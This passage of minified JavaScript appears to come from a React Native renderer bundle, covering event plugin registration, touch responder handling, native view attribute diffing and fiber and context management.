t.onCommitFiberRoot(n,e)}),ha=ue(function(e){return t.onCommitFiberUnmount(n,e)})}catch(e){}return!0}function se(e){\"function\"==typeof pa&&pa(e)}function ce(e){\"function\"==typeof ha&&ha(e)}function fe(e){if(!e)return St;var t=Bn.get(e);return\"number\"==typeof t.tag?ku(t):t._processChildContext(t._context)}function de(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function pe(e,t){return\"object\"!=typeof t||null===t||It(e,t)}function he(e){return\"number\"==typeof e?Wu.getByID(e):e}function ge(e,t,n){if(Array.isArray(t))for(var r=t.length;r--&&Mu>0;)ge(e,t[r],n);else if(t&&Mu>0){var o=he(t);for(var i in Ou)if(Ou[i]){var a=o[i];if(void 0!==a){var u=n[i];if(u){if(\"function\"==typeof a&&(a=!0),void 0===a&&(a=null),\"object\"!=typeof u)e[i]=a;else if(\"function\"==typeof u.diff||\"function\"==typeof u.process){var l=\"function\"==typeof u.process?u.process(a):a;e[i]=l}Ou[i]=!1,Mu--}}}}}function ve(e,t,n,r){var o,i=t.length<n.length?t.length:n.length;for(o=0;o<i;o++)e=me(e,t[o],n[o],r);for(;o<t.length;o++)e=be(e,t[o],r);for(;o<n.length;o++)e=ye(e,n[o],r);return e}function me(e,t,n,r){return e||t!==n?t&&n?Array.isArray(t)||Array.isArray(n)?Array.isArray(t)&&Array.isArray(n)?ve(e,t,n,r):Array.isArray(t)?Ce(e,_t(t),he(n),r):Ce(e,he(t),_t(n),r):Ce(e,he(t),he(n),r):n?ye(e,n,r):t?be(e,t,r):e:e}function ye(e,t,n){if(!t)return e;if(!Array.isArray(t))return Pe(e,he(t),n);for(var r=0;r<t.length;r++)e=ye(e,t[r],n);return e}function be(e,t,n){if(!t)return e;if(!Array.isArray(t))return Te(e,he(t),n);for(var r=0;r<t.length;r++)e=be(e,t[r],n);return e}function Ce(e,t,n,r){var o,i,a;for(var u in n)if(o=r[u])if(a=t[u],i=n[u],\"function\"==typeof i&&(i=!0,\"function\"==typeof a&&(a=!0)),void 0===i&&(i=null,void 0===a&&(a=null)),Ou&&(Ou[u]=!1),e&&void 0!==e[u]){if(\"object\"!=typeof o)e[u]=i;else if(\"function\"==typeof o.diff||\"function\"==typeof o.process){var l=\"function\"==typeof o.process?o.process(i):i;e[u]=l}}else if(a!==i)if(\"object\"!=typeof o)pe(a,i)&&((e||(e={}))[u]=i);else if(\"function\"==typeof o.diff||\"function\"==typeof o.process){var s=void 0===a||(\"function\"==typeof o.diff?o.diff(a,i):pe(a,i));s&&(l=\"function\"==typeof o.process?o.process(i):i,(e||(e={}))[u]=l)}else Ou=null,Mu=0,e=me(e,a,i,o),Mu>0&&e&&(ge(e,i,o),Ou=null);for(u in t)void 0===n[u]&&(o=r[u])&&(e&&void 0!==e[u]||void 0!==(a=t[u])&&(\"object\"!=typeof o||\"function\"==typeof o.diff||\"function\"==typeof o.process?((e||(e={}))[u]=null,Ou||(Ou={}),Ou[u]||(Ou[u]=!0,Mu++)):e=be(e,a,o)));return e}function Pe(e,t,n){return Ce(e,Lu,t,n)}function Te(e,t,n){return Ce(e,t,Lu,n)}function ke(e,t){return function(){if(t){if(\"boolean\"==typeof e.__isMounted){if(!e.__isMounted)return}else if(\"function\"==typeof e.isMounted&&!e.isMounted())return;return t.apply(e,arguments)}}}function xe(e,t){if(void 0!==t.styles){var n=e._owner||null,r=e.constructor.displayName,o=\"`styles` is not a supported property of `\"+r+\"`, did you mean `style` (singular)?\";throw n&&n.constructor&&n.constructor.displayName&&(o+=\"\\n\\nCheck the `\"+n.constructor.displayName+\"` parent  component.\"),new Error(o)}}function Ne(e,t){for(var n in t.style)t[n]||void 0===e[n]||console.error(\"You are setting the style `{ \"+n+\": ... }` as a prop. You should nest it in a style object. E.g. `{ style: { \"+n+\": ... } }`\")}function Re(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function Se(e){\"number\"==typeof e?tl(e):(tl(e._nativeTag),e._children.forEach(Se))}function we(e){if(null==e)return null;if(\"number\"==typeof e)return e;var t=e,n=Bn.get(t);return n?sl(n):t||(Nt(\"object\"==typeof t&&(\"_rootNodeID\"in t||\"_nativeTag\"in t)||null!=t.render&&\"function\"==typeof t.render,\"findNodeHandle(...): Argument is not a component (type: %s, keys: %s)\",typeof t,Object.keys(t)),void Nt(!1,\"findNodeHandle(...): Unable to find node handle for unmounted component.\"))}function Ee(){if(dl)for(var e in pl){var t=pl[e],n=dl.indexOf(e);if(Nt(n>-1,\"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.\",e),!hl.plugins[n]){Nt(t.extractEvents,\"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.\",e),hl.plugins[n]=t;var r=t.eventTypes;for(var o in r)Nt(Ie(r[o],t,o),\"EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.\",o,e)}}}function Ie(e,t,n){Nt(!hl.eventNameDispatchConfigs.hasOwnProperty(n),\"EventPluginHub: More than one plugin attempted to publish the same event name, `%s`.\",n),hl.eventNameDispatchConfigs[n]=e;var r=e.phasedRegistrationNames;if(r){for(var o in r)if(r.hasOwnProperty(o)){var i=r[o];_e(i,t,n)}return!0}return!!e.registrationName&&(_e(e.registrationName,t,n),!0)}function _e(e,t,n){Nt(!hl.registrationNameModules[e],\"EventPluginHub: More than one plugin attempted to publish the same registration name, `%s`.\",e),hl.registrationNameModules[e]=t,hl.registrationNameDependencies[e]=t.eventTypes[n].dependencies}function He(e,t){return Nt(null!=t,\"accumulateInto(...): Accumulated items must not be null or undefined.\"),null==e?t:Array.isArray(e)?Array.isArray(t)?(e.push.apply(e,t),e):(e.push(t),e):Array.isArray(t)?[e].concat(t):[e,t]}function Fe(e,t,n){Array.isArray(e)?e.forEach(t,n):e&&t.call(n,e)}function Ae(e){return\"button\"===e||\"input\"===e||\"select\"===e||\"textarea\"===e}function De(e,t,n){switch(e){case\"onClick\":case\"onClickCapture\":case\"onDoubleClick\":case\"onDoubleClickCapture\":case\"onMouseDown\":case\"onMouseDownCapture\":case\"onMouseMove\":case\"onMouseMoveCapture\":case\"onMouseUp\":case\"onMouseUpCapture\":return!(!n.disabled||!Ae(t));default:return!1}}function Ue(e){if(void 0!==e._hostParent)return e._hostParent;if(\"number\"==typeof e.tag){do e=e.return;while(e&&e.tag!==xl);if(e)return e}return null}function je(e,t){for(var n=0,r=e;r;r=Ue(r))n++;for(var o=0,i=t;i;i=Ue(i))o++;for(;n-o>0;)e=Ue(e),n--;for(;o-n>0;)t=Ue(t),o--;for(var a=n;a--;){if(e===t||e===t.alternate)return e;e=Ue(e),t=Ue(t)}return null}function We(e,t){for(;t;){if(e===t||e===t.alternate)return!0;t=Ue(t)}return!1}function Le(e){return Ue(e)}function Oe(e,t,n){for(var r=[];e;)r.push(e),e=Ue(e);var o;for(o=r.length;o-- >0;)t(r[o],\"captured\",n);for(o=0;o<r.length;o++)t(r[o],\"bubbled\",n)}function Me(e,t,n,r,o){for(var i=e&&t?je(e,t):null,a=[];e&&e!==i;)a.push(e),e=Ue(e);for(var u=[];t&&t!==i;)u.push(t),t=Ue(t);var l;for(l=0;l<a.length;l++)n(a[l],\"bubbled\",r);for(l=u.length;l-- >0;)n(u[l],\"captured\",o)}function ze(e,t,n){var r=t.dispatchConfig.phasedRegistrationNames[n];return Rl(e,r)}function Ye(e,t,n){var r=ze(e,n,t);r&&(n._dispatchListeners=vl(n._dispatchListeners,r),n._dispatchInstances=vl(n._dispatchInstances,e))}function Be(e){e&&e.dispatchConfig.phasedRegistrationNames&&Nl.traverseTwoPhase(e._targetInst,Ye,e)}function Qe(e){if(e&&e.dispatchConfig.phasedRegistrationNames){var t=e._targetInst,n=t?Nl.getParentInstance(t):null;Nl.traverseTwoPhase(n,Ye,e)}}function Xe(e,t,n){if(e&&n&&n.dispatchConfig.registrationName){var r=n.dispatchConfig.registrationName,o=Rl(e,r);o&&(n._dispatchListeners=vl(n._dispatchListeners,o),n._dispatchInstances=vl(n._dispatchInstances,e))}}function Ve(e){e&&e.dispatchConfig.registrationName&&Xe(e._targetInst,null,e)}function Ge(e){ml(e,Be)}function $e(e){ml(e,Qe)}function qe(e,t,n,r){Nl.traverseEnterLeave(n,r,Xe,e,t)}function Je(e){ml(e,Ve)}function Ke(e,t,n,r){this.dispatchConfig=e,this._targetInst=t,this.nativeEvent=n;var o=this.constructor.Interface;for(var i in o)if(o.hasOwnProperty(i)){var a=o[i];a?this[i]=a(n):\"target\"===i?this.target=r:this[i]=n[i]}var u=null!=n.defaultPrevented?n.defaultPrevented:!1===n.returnValue;return this.isDefaultPrevented=u?Lt.thatReturnsTrue:Lt.thatReturnsFalse,this.isPropagationStopped=Lt.thatReturnsFalse,this}function Ze(e,t,n,r){var o=this;if(o.eventPool.length){var i=o.eventPool.pop();return o.call(i,e,t,n,r),i}return new o(e,t,n,r)}function et(e){var t=this;Nt(e instanceof t,\"Trying to release an event instance  into a pool of a different type.\"),e.destructor(),t.eventPool.length<El&&t.eventPool.push(e)}function tt(e){e.eventPool=[],e.getPooled=Ze,e.release=et}function nt(e){kl.enqueueEvents(e),kl.processEventQueue(!1)}function rt(e,t,n,r){return Hl.call(this,e,t,n,r)}function ot(e){return e.timeStamp||e.timestamp}function it(e){return{touchActive:!0,startPageX:e.pageX,startPageY:e.pageY,startTimeStamp:ot(e),currentPageX:e.pageX,currentPageY:e.pageY,currentTimeStamp:ot(e),previousPageX:e.pageX,previousPageY:e.pageY,previousTimeStamp:ot(e)}}function at(e,t){e.touchActive=!0,e.startPageX=t.pageX,e.startPageY=t.pageY,e.startTimeStamp=ot(t),e.currentPageX=t.pageX,e.currentPageY=t.pageY,e.currentTimeStamp=ot(t),e.previousPageX=t.pageX,e.previousPageY=t.pageY,e.previousTimeStamp=ot(t)}function ut(e){var t=e.identifier;return Nt(null!=t,\"Touch object is missing identifier.\"),t}function lt(e){var t=ut(e),n=rs[t];n?at(n,e):rs[t]=it(e),os.mostRecentTimeStamp=ot(e)}function st(e){var t=rs[ut(e)];t?(t.touchActive=!0,t.previousPageX=t.currentPageX,t.previousPageY=t.currentPageY,t.previousTimeStamp=t.currentTimeStamp,t.currentPageX=e.pageX,t.currentPageY=e.pageY,t.currentTimeStamp=ot(e),os.mostRecentTimeStamp=ot(e)):console.error(\"Cannot record touch move without a touch start.\\nTouch Move: %s\\n\",\"Touch Bank: %s\",ft(e),dt())}function ct(e){var t=rs[ut(e)];t?(t.touchActive=!1,t.previousPageX=t.currentPageX,t.previousPageY=t.currentPageY,t.previousTimeStamp=t.currentTimeStamp,t.currentPageX=e.pageX,t.currentPageY=e.pageY,t.currentTimeStamp=ot(e),os.mostRecentTimeStamp=ot(e)):console.error(\"Cannot record touch end without a touch start.\\nTouch End: %s\\n\",\"Touch Bank: %s\",ft(e),dt())}function ft(e){return JSON.stringify({identifier:e.identifier,pageX:e.pageX,pageY:e.pageY,timestamp:ot(e)})}function dt(){var e=JSON.stringify(rs.slice(0,ns));return rs.length>ns&&(e+=\" (original size: \"+rs.length+\")\"),e}function pt(e,t){return Nt(null!=t,\"accumulate(...): Accumulated items must be not be null or undefined.\"),null==e?t:Array.isArray(e)?e.concat(t):Array.isArray(t)?[e].concat(t):[e,t]}function ht(e,t,n,r){var o=ls(e)?ys.startShouldSetResponder:ss(e)?ys.moveShouldSetResponder:\"topSelectionChange\"===e?ys.selectionChangeShouldSetResponder:ys.scrollShouldSetResponder,i=hs?Nl.getLowestCommonAncestor(hs,t):t,a=i===hs,u=Kl.getPooled(o,i,n,r);u.touchHistory=as.touchHistory,a?wl.accumulateTwoPhaseDispatchesSkipTarget(u):wl.accumulateTwoPhaseDispatches(u);var l=ps(u);if(u.isPersistent()||u.constructor.release(u),!l||l===hs)return null;var s,c=Kl.getPooled(ys.responderGrant,l,n,r);c.touchHistory=as.touchHistory,wl.accumulateDirectDispatches(c);var f=!0===fs(c);if(hs){var d=Kl.getPooled(ys.responderTerminationRequest,hs,n,r);d.touchHistory=as.touchHistory,wl.accumulateDirectDispatches(d);var p=!ds(d)||fs(d);if(d.isPersistent()||d.constructor.release(d),p){var h=Kl.getPooled(ys.responderTerminate,hs,n,r);h.touchHistory=as.touchHistory,wl.accumulateDirectDispatches(h),s=us(s,[c,h]),ms(l,f)}else{var g=Kl.getPooled(ys.responderReject,l,n,r);g.touchHistory=as.touchHistory,wl.accumulateDirectDispatches(g),s=us(s,g)}}else s=us(s,c),ms(l,f);return s}function gt(e,t,n){return t&&(\"topScroll\"===e&&!n.responderIgnoreScroll||gs>0&&\"topSelectionChange\"===e||ls(e)||ss(e))}function vt(e){var t=e.touches;if(!t||0===t.length)return!0;for(var n=0;n<t.length;n++){var r=t[n],o=r.target;if(null!==o&&void 0!==o&&0!==o){var i=Jt.getInstanceFromNode(o);if(Nl.isAncestor(hs,i))return!1}}return!0}function mt(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function yt(e,t){if(!e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!t||\"object\"!=typeof t&&\"function\"!=typeof t?e:t}function bt(e,t){if(\"function\"!=typeof t&&null!==t)throw new TypeError(\"Super expression must either be null or a function, not \"+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function Ct(e,t){var n=void 0;try{n=cl(e)}catch(e){}if(null!=n){var r=n.viewConfig,o=Yu.create(t,r.validAttributes);Ft.updateView(n._nativeTag,r.uiViewClassName,o)}}function Pt(e,t){var n=cl(e);if(null!=n){var r=void 0;if(void 0!==n.viewConfig)r=n.viewConfig;else if(void 0!==n._instance&&void 0!==n._instance.viewConfig)r=n._instance.viewConfig;else{for(;void 0!==n._renderedComponent;)n=n._renderedComponent;r=n.viewConfig}var o=\"function\"==typeof n.getHostNode?n.getHostNode():n._rootNodeID,i=Yu.create(t,r.validAttributes);Ft.updateView(o,r.uiViewClassName,i)}}function Tt(e,t){var n=void 0;try{n=cl(e)}catch(e){}if(null!=n){var r=n.viewConfig,o=Yu.create(t,r.validAttributes);Ft.updateView(n._nativeTag,r.uiViewClassName,o)}}function kt(e,t){var n=cl(e);if(null!=n){var r=void 0;if(void 0!==n.viewConfig)r=n.viewConfig;else if(void 0!==n._instance&&void 0!==n._instance.viewConfig)r=n._instance.viewConfig;else{for(;void 0!==n._renderedComponent;)n=n._renderedComponent;r=n.viewConfig}var o=\"function\"==typeof n.getHostNode?n.getHostNode():n._rootNodeID,i=Yu.create(t,r.validAttributes);Ft.updateView(o,r.uiViewClassName,i)}}function xt(e,t){return\"number\"!=typeof e&&\"window\"!==e&&(e=Ms(e)||\"window\"),Ft.__takeSnapshot(e,t)}var Nt=t(13),Rt=t(47),St=t(51),wt=t(52),Et=t(58),It=t(59),_t=t(60),Ht=t(62),Ft=t(63);t(20);var At=t(27);t(64);var Dt,Ut,jt,Wt=t(107),Lt=t(28),Ot=function(e){return!0},Mt=Ot,zt={injectDialog:function(e){Nt(Mt===Ot,\"The custom dialog was already injected.\"),Nt(\"function\"==typeof e,\"Injected showDialog() must be a function.\"),Mt=e}},Yt=o,Bt={injection:zt,logCapturedError:Yt},Qt={_caughtError:null,_hasCaughtError:!1,_rethrowError:null,_hasRethrowError:!1,injection:{injectErrorUtils:function(e){Nt(\"function\"==typeof e.invokeGuardedCallback,\"Injected invokeGuardedCallback() must be a function.\"),Xt=e.invokeGuardedCallback}},invokeGuardedCallback:function(e,t,n,r,o,i,a,u,l){Xt.apply(Qt,arguments)},invokeGuardedCallbackAndCatchFirstError:function(e,t,n,r,o,i,a,u,l){if(Qt.invokeGuardedCallback.apply(this,arguments),Qt.hasCaughtError()){var s=Qt.clearCaughtError();Qt._hasRethrowError||(Qt._hasRethrowError=!0,Qt._rethrowError=s)}},rethrowCaughtError:function(){return Vt.apply(Qt,arguments)},hasCaughtError:function(){return Qt._hasCaughtError},clearCaughtError:function(){if(Qt._hasCaughtError){var e=Qt._caughtError;return Qt._caughtError=null,Qt._hasCaughtError=!1,e}Nt(!1,\"clearCaughtError was called but no error was captured. This error is likely caused by a bug in React. Please file an issue.\")}},Xt=function(e,t,n,r,o,i,a,u,l){Qt._hasCaughtError=!1,Qt._caughtError=null;var s=Array.prototype.slice.call(arguments,3);try{t.apply(n,s)}catch(e){Qt._caughtError=e,Qt._hasCaughtError=!0}},Vt=function(){if(Qt._hasRethrowError){var e=Qt._rethrowError;throw Qt._rethrowError=null,Qt._hasRethrowError=!1,e}},Gt=Qt,$t={injectComponentTree:function(e){Dt=e}},qt={isEndish:i,isMoveish:a,isStartish:u,executeDirectDispatch:d,executeDispatchesInOrder:s,executeDispatchesInOrderStopAtTrue:f,hasDispatches:p,getFiberCurrentPropsFromNode:function(e){return Dt.getFiberCurrentPropsFromNode(e)},getInstanceFromNode:function(e){return Dt.getInstanceFromNode(e)},getNodeFromInstance:function(e){\nreturn Dt.getNodeFromInstance(e)},injection:$t},Jt=qt,Kt=null,Zt={injectFiberControlledHostComponent:function(e){Kt=e}},en=null,tn=null,nn={injection:Zt,enqueueStateRestore:function(e){en?tn?tn.push(e):tn=[e]:en=e},restoreStateIfNeeded:function(){if(en){var e=en,t=tn;if(en=null,tn=null,h(e),t)for(var n=0;n<t.length;n++)h(t[n])}}},rn=nn,on=function(e,t,n,r,o,i){return e(t,n,r,o,i)},an=function(e,t){return e(t)},un=!1,ln={injectStackBatchedUpdates:function(e){on=e},injectFiberBatchedUpdates:function(e){an=e}},sn={batchedUpdates:m,injection:ln},cn=sn,fn=y,dn={showDialog:fn},pn=\"function\"==typeof Symbol&&(\"function\"==typeof Symbol?Symbol.for:\"@@for\")&&(\"function\"==typeof Symbol?Symbol.for:\"@@for\")(\"react.portal\")||60106,hn=function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null;return{$$typeof:pn,key:null==r?null:\"\"+r,children:e,containerInfo:t,implementation:n}},gn=function(e){return\"object\"==typeof e&&null!==e&&e.$$typeof===pn},vn=pn,mn={createPortal:hn,isPortal:gn,REACT_PORTAL_TYPE:vn},yn={},bn={},Cn={getClosestInstanceFromNode:x,getInstanceFromNode:x,getNodeFromInstance:N,precacheFiberNode:P,precacheNode:C,uncacheFiberNode:k,uncacheNode:T,getFiberCurrentPropsFromNode:R,updateFiberProps:S},Pn=Cn,Tn=\"undefined\"!=typeof window?window:\"undefined\"!=typeof e?e:\"undefined\"!=typeof self?self:{},kn={disableNewFiberFeatures:!1,enableAsyncSubtreeAPI:!1},xn=kn,Nn={NoEffect:0,PerformedWork:1,Placement:2,Update:4,PlacementAndUpdate:6,Deletion:8,ContentReset:16,Callback:32,Err:64,Ref:128},Rn={NoWork:0,SynchronousPriority:1,TaskPriority:2,HighPriority:3,LowPriority:4,OffscreenPriority:5},Sn={IndeterminateComponent:0,FunctionalComponent:1,ClassComponent:2,HostRoot:3,HostPortal:4,HostComponent:5,HostText:6,CoroutineComponent:7,CoroutineHandlerPhase:8,YieldComponent:9,Fragment:10},wn=Nn.Callback,En=Rn.NoWork,In=Rn.SynchronousPriority,_n=Rn.TaskPriority,Hn=Sn.ClassComponent,Fn=Sn.HostRoot,An=D,Dn=U,Un=j,jn=W,Wn=L,Ln=M,On=z,Mn={addUpdate:An,addReplaceUpdate:Dn,addForceUpdate:Un,getUpdatePriority:jn,addTopLevelUpdate:Wn,beginUpdateQueue:Ln,commitCallbacks:On},zn=Y,Yn={remove:function(e){e._reactInternalInstance=void 0},get:function(e){return e._reactInternalInstance},has:function(e){return void 0!==e._reactInternalInstance},set:function(e,t){e._reactInternalInstance=t}},Bn=Yn,Qn=wt.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,Xn={ReactCurrentOwner:Qn.ReactCurrentOwner},Vn=Xn,Gn=Sn.HostComponent,$n=Sn.HostRoot,qn=Sn.HostPortal,Jn=Sn.HostText,Kn=Nn.NoEffect,Zn=Nn.Placement,er=1,tr=2,nr=3,rr=function(e){return B(e)===tr},or=function(e){var t=Bn.get(e);return!!t&&B(t)===tr},ir=X,ar=function(e){var t=X(e);if(!t)return null;for(var n=t;!0;){if(n.tag===Gn||n.tag===Jn)return n;if(n.child)n.child.return=n,n=n.child;else{if(n===t)return null;for(;!n.sibling;){if(!n.return||n.return===t)return null;n=n.return}n.sibling.return=n.return,n=n.sibling}}return null},ur=function(e){var t=X(e);if(!t)return null;for(var n=t;!0;){if(n.tag===Gn||n.tag===Jn)return n;if(n.child&&n.tag!==qn)n.child.return=n,n=n.child;else{if(n===t)return null;for(;!n.sibling;){if(!n.return||n.return===t)return null;n=n.return}n.sibling.return=n.return,n=n.sibling}}return null},lr={isFiberMounted:rr,isMounted:or,findCurrentFiberUsingSlowPath:ir,findCurrentHostFiber:ar,findCurrentHostFiberWithNoPortals:ur},sr=[],cr=-1,fr=function(e){return{current:e}},dr=function(){return-1===cr},pr=function(e,t){cr<0||(e.current=sr[cr],sr[cr]=null,cr--)},hr=function(e,t,n){cr++,sr[cr]=e.current,e.current=t},gr=function(){for(;cr>-1;)sr[cr]=null,cr--},vr={createCursor:fr,isEmpty:dr,pop:pr,push:hr,reset:gr},mr=lr.isFiberMounted,yr=Sn.ClassComponent,br=Sn.HostRoot,Cr=vr.createCursor,Pr=vr.pop,Tr=vr.push,kr=Cr(St),xr=Cr(!1),Nr=St,Rr=V,Sr=G,wr=function(e,t){var n=e.type,r=n.contextTypes;if(!r)return St;var o=e.stateNode;if(o&&o.__reactInternalMemoizedUnmaskedChildContext===t)return o.__reactInternalMemoizedMaskedChildContext;var i={};for(var a in r)i[a]=t[a];return o&&G(e,t,i),i},Er=function(){return xr.current},Ir=$,_r=q,Hr=J,Fr=function(e,t,n){Nt(null==kr.cursor,\"Unexpected context found on stack. This error is likely caused by a bug in React. Please file an issue.\"),Tr(kr,t,e),Tr(xr,n,e)},Ar=K,Dr=function(e){if(!q(e))return!1;var t=e.stateNode,n=t&&t.__reactInternalMemoizedMergedChildContext||St;return Nr=kr.current,Tr(kr,n,e),Tr(xr,xr.current,e),!0},Ur=function(e,t){var n=e.stateNode;if(Nt(n,\"Expected to have an instance by this point. This error is likely caused by a bug in React. Please file an issue.\"),t){var r=K(e,Nr,!0);n.__reactInternalMemoizedMergedChildContext=r,Pr(xr,e),Pr(kr,e),Tr(kr,r,e),Tr(xr,t,e)}else Pr(xr,e),Tr(xr,t,e)},jr=function(){Nr=St,kr.current=St,xr.current=!1},Wr=function(e){Nt(mr(e)&&e.tag===yr,\"Expected subtree parent to be a mounted class component. This error is likely caused by a bug in React. Please file an issue.\");for(var t=e;t.tag!==br;){if(q(t))return t.stateNode.__reactInternalMemoizedMergedChildContext;var n=t.return;Nt(n,\"Found unexpected detached subtree parent. This error is likely caused by a bug in React. Please file an issue.\"),t=n}return t.stateNode.context},Lr={getUnmaskedContext:Rr,cacheContext:Sr,getMaskedContext:wr,hasContextChanged:Er,isContextConsumer:Ir,isContextProvider:_r,popContextProvider:Hr,pushTopLevelContextObject:Fr,processChildContext:Ar,pushContextProvider:Dr,invalidateContextProvider:Ur,resetContext:jr,findCurrentUnmaskedContext:Wr},Or={NoContext:0,AsyncUpdates:1},Mr=Sn.IndeterminateComponent,zr=Sn.ClassComponent,Yr=Sn.HostRoot,Br=Sn.HostComponent,Qr=Sn.HostText,Xr=Sn.HostPortal,Vr=Sn.CoroutineComponent,Gr=Sn.YieldComponent,$r=Sn.Fragment,qr=Rn.NoWork,Jr=Or.NoContext,Kr=Nn.NoEffect,Zr=function(e,t,n){return{tag:e,key:t,type:null,stateNode:null,return:null,child:null,sibling:null,index:0,ref:null,pendingProps:null,memoizedProps:null,updateQueue:null,memoizedState:null,internalContextTag:n,effectTag:Kr,nextEffect:null,firstEffect:null,lastEffect:null,pendingWorkPriority:qr,alternate:null}},eo=function(e,t){var n=e.alternate;return null===n?(n=Zr(e.tag,e.key,e.internalContextTag),n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.effectTag=qr,n.nextEffect=null,n.firstEffect=null,n.lastEffect=null),n.pendingWorkPriority=t,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n},to=function(){return Zr(Yr,null,Jr)},no=function(e,t,n){var r=null,o=ee(e.type,e.key,t,r);return o.pendingProps=e.props,o.pendingWorkPriority=n,o},ro=function(e,t,n){var r=Zr($r,null,t);return r.pendingProps=e,r.pendingWorkPriority=n,r},oo=function(e,t,n){var r=Zr(Qr,null,t);return r.pendingProps=e,r.pendingWorkPriority=n,r},io=ee,ao=function(){var e=Zr(Br,null,Jr);return e.type=\"DELETED\",e},uo=function(e,t,n){var r=Zr(Vr,e.key,t);return r.type=e.handler,r.pendingProps=e,r.pendingWorkPriority=n,r},lo=function(e,t,n){return Zr(Gr,null,t)},so=function(e,t,n){var r=Zr(Xr,e.key,t);return r.pendingProps=e.children||[],r.pendingWorkPriority=n,r.stateNode={containerInfo:e.containerInfo,implementation:e.implementation},r},co=function(e,t){return e!==qr&&(t===qr||t>e)?e:t},fo={createWorkInProgress:eo,createHostRootFiber:to,createFiberFromElement:no,createFiberFromFragment:ro,createFiberFromText:oo,createFiberFromElementType:io,createFiberFromHostInstanceForDeletion:ao,createFiberFromCoroutine:uo,createFiberFromYield:lo,createFiberFromPortal:so,largerPriority:co},po=fo.createHostRootFiber,ho=function(e){var t=po(),n={current:t,containerInfo:e,isScheduled:!1,nextScheduledRoot:null,context:null,pendingContext:null};return t.stateNode=n,n},go={createFiberRoot:ho},vo=function(e,t,n){return\"\\n    in \"+(e||\"Unknown\")+(t?\" (at \"+t.fileName.replace(/^.*[\\\\\\/]/,\"\")+\":\"+t.lineNumber+\")\":n?\" (created by \"+n+\")\":\"\")},mo=Sn.IndeterminateComponent,yo=Sn.FunctionalComponent,bo=Sn.ClassComponent,Co=Sn.HostComponent,Po={getStackAddendumByWorkInProgressFiber:ne};\"function\"==typeof Symbol&&(\"function\"==typeof Symbol?Symbol.for:\"@@for\")?(Ut=(\"function\"==typeof Symbol?Symbol.for:\"@@for\")(\"react.coroutine\"),jt=(\"function\"==typeof Symbol?Symbol.for:\"@@for\")(\"react.yield\")):(Ut=60104,jt=60105);var To=function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null;return{$$typeof:Ut,key:null==r?null:\"\"+r,children:e,handler:t,props:n}},ko=function(e){return{$$typeof:jt,value:e}},xo=function(e){return\"object\"==typeof e&&null!==e&&e.$$typeof===Ut},No=function(e){return\"object\"==typeof e&&null!==e&&e.$$typeof===jt},Ro=jt,So=Ut,wo={createCoroutine:To,createYield:ko,isCoroutine:xo,isYield:No,REACT_YIELD_TYPE:Ro,REACT_COROUTINE_TYPE:So},Eo=wo.REACT_COROUTINE_TYPE,Io=wo.REACT_YIELD_TYPE,_o=mn.REACT_PORTAL_TYPE,Ho=fo.createWorkInProgress,Fo=fo.createFiberFromElement,Ao=fo.createFiberFromFragment,Do=fo.createFiberFromText,Uo=fo.createFiberFromCoroutine,jo=fo.createFiberFromYield,Wo=fo.createFiberFromPortal,Lo=Array.isArray,Oo=Sn.FunctionalComponent,Mo=Sn.ClassComponent,zo=Sn.HostText,Yo=Sn.HostPortal,Bo=Sn.CoroutineComponent,Qo=Sn.YieldComponent,Xo=Sn.Fragment,Vo=Nn.NoEffect,Go=Nn.Placement,$o=Nn.Deletion,qo=\"function\"==typeof Symbol&&(\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\"),Jo=\"@@iterator\",Ko=\"function\"==typeof Symbol&&(\"function\"==typeof Symbol?Symbol.for:\"@@for\")&&(\"function\"==typeof Symbol?Symbol.for:\"@@for\")(\"react.element\")||60103,Zo=ae(!0,!0),ei=ae(!1,!0),ti=ae(!1,!1),ni=function(e,t){if(Nt(null===e||t.child===e.child,\"Resuming work not yet implemented.\"),null!==t.child){var n=t.child,r=Ho(n,n.pendingWorkPriority);for(r.pendingProps=n.pendingProps,t.child=r,r.return=t;null!==n.sibling;)n=n.sibling,r=r.sibling=Ho(n,n.pendingWorkPriority),r.pendingProps=n.pendingProps,r.return=t;r.sibling=null}},ri={reconcileChildFibers:Zo,reconcileChildFibersInPlace:ei,mountChildFibersInPlace:ti,cloneChildFibers:ni},oi=Nn.Update,ii=Or.AsyncUpdates,ai=Lr.cacheContext,ui=Lr.getMaskedContext,li=Lr.getUnmaskedContext,si=Lr.isContextConsumer,ci=Mn.addUpdate,fi=Mn.addReplaceUpdate,di=Mn.addForceUpdate,pi=Mn.beginUpdateQueue,hi=Lr,gi=hi.hasContextChanged,vi=lr.isMounted,mi=function(e,t,n,r){function o(e,t,n,r,o,i){if(null===t||null!==e.updateQueue&&e.updateQueue.hasForceUpdate)return!0;var a=e.stateNode,u=e.type;return\"function\"==typeof a.shouldComponentUpdate?a.shouldComponentUpdate(n,o,i):!(u.prototype&&u.prototype.isPureReactComponent&&Et(t,n)&&Et(r,o))}function i(e,t){t.props=e.memoizedProps,t.state=e.memoizedState}function a(e,t){t.updater=d,e.stateNode=t,Bn.set(t,e)}function u(e,t){var n=e.type,r=li(e),o=si(e),i=o?ui(e,r):St,u=new n(t,i);return a(e,u),o&&ai(e,r,i),u}function l(e,t){var n=t.state;t.componentWillMount(),n!==t.state&&d.enqueueReplaceState(t,t.state,null)}function s(e,t,n,r){var o=t.state;t.componentWillReceiveProps(n,r),t.state!==o&&d.enqueueReplaceState(t,t.state,null)}function c(e,t){var n=e.alternate,r=e.stateNode,o=r.state||null,i=e.pendingProps;Nt(i,\"There must be pending props for an initial mount. This error 